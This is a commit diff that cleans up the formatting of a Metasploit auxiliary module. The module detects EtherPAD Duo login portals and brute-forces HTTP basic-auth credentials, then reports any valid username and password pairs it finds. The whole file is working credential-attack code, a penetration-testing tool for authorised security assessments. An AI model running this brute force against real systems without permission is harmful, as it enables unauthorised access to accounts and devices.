Minor code cleanup

modules/auxiliary/scanner/http/etherpadduo_login.rb

@@ -6,97 +6,100 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::AuthBrute
+  include Msf::Auxiliary::Scanner
 
-include Msf::Exploit::Remote::HttpClient
-include Msf::Auxiliary::Report
-include Msf::Auxiliary::AuthBrute
-include Msf::Auxiliary::Scanner
-
-def initialize(info={})
-  super(update_info(info,
-  'Name'           => 'EtherPAD Duo Login Brute Force Utility',
-  'Description'    => %{
-    This module scans for EtherPAD Duo login portal, and
-    performs a login brute force attack to identify valid credentials.
+  def initialize(info={})
+    super(update_info(info,
+    'Name'           => 'EtherPAD Duo Login Brute Force Utility',
+    'Description'    => %{
+      This module scans for EtherPAD Duo login portal, and
+      performs a login brute force attack to identify valid credentials.
     },
-  'Author'         =>
-    [
-      'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
-    ],
-  'License'        => MSF_LICENSE
-  ))
+    'Author'         =>
+      [
+        'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
+      ],
+    'License'        => MSF_LICENSE
+    ))
 
-end
-
-def run_host(ip)
-  unless is_app_epaduo?
-    return
   end
 
-  print_status("#{peer} - Starting login brute force...")
-  each_user_pass do |user, pass|
-    do_login(user, pass)
-  end
-end
+  def run_host(ip)
+    unless is_app_epaduo?
+      return
+    end
 
-#
-# What's the point of running this module if the target actually isn't EtherPAD Duo
-#
-
-def is_app_epaduo?
-  begin
-    res = send_request_cgi(
-    {
-      'uri'       => '/CGI/mParseCGI?file=mainpage.html',
-      'method'    => 'GET'
-    })
-  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
-    vprint_error("#{peer} - HTTP Connection Failed...")
-    return false
-  end
-
-  if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo"))
-    vprint_good("#{peer} - Running EtherPAD Duo application ...")
-    return true
-  else
-    vprint_error("#{peer} - Application is not EtherPAD Duo. Module will not continue.")
-    return false
+    print_status("#{peer} - Starting login brute force...")
+    each_user_pass do |user, pass|
+      do_login(user, pass)
     end
   end
 
-#
-# Brute-force the login page
-#
+  #
+  # What's the point of running this module if the target actually isn't EtherPAD Duo
+  #
 
-def do_login(user, pass)
-  vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
-  begin
-    res = send_request_cgi(
-    {
-      'uri'       => '/config/configindex.ehtml',
-      'method'    => 'GET',
-      'authorization' => basic_auth(user,pass)
-    })
-  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
-    vprint_error("#{peer} - HTTP Connection Failed...")
-    return :abort
+  def is_app_epaduo?
+    begin
+      res = send_request_cgi(
+      {
+        'uri'       => normalize_uri('/', 'CGI', 'mParseCGI'),
+        'method'    => 'GET',
+        'vars_get'  => {
+          'file' => 'mainpage.html'
+        }
+      })
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
+      vprint_error("#{peer} - HTTP Connection Failed...")
+      return false
+    end
+
+    if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo"))
+      vprint_good("#{peer} - Running EtherPAD Duo application ...")
+      return true
+    else
+      vprint_error("#{peer} - Application is not EtherPAD Duo. Module will not continue.")
+      return false
+    end
   end
 
-  if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("EtherPAD"))
-    print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
-    report_hash = {
-    :host   => rhost,
-    :port   => rport,
-    :sname  => 'EtherPAD Duo Portal',
-    :user   => user,
-    :pass   => pass,
-    :active => true,
-    :type => 'password'
-  }
-    report_auth_info(report_hash)
-    return :next_user
-  else
-    vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
+  #
+  # Brute-force the login page
+  #
+
+  def do_login(user, pass)
+    vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
+
+    begin
+      res = send_request_cgi(
+      {
+        'uri'       => normalize_uri('/', 'config', 'configindex.ehtml'),
+        'method'    => 'GET',
+        'authorization' => basic_auth(user,pass)
+      })
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+      vprint_error("#{peer} - HTTP Connection Failed...")
+      return :abort
+    end
+
+    if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD")
+      print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
+      report_hash = {
+        :host   => rhost,
+        :port   => rport,
+        :sname  => 'EtherPAD Duo Portal',
+        :user   => user,
+        :pass   => pass,
+        :active => true,
+        :type => 'password'
+      }
+      report_auth_info(report_hash)
+      return :next_user
+    else
+      vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
+    end
   end
 end
-end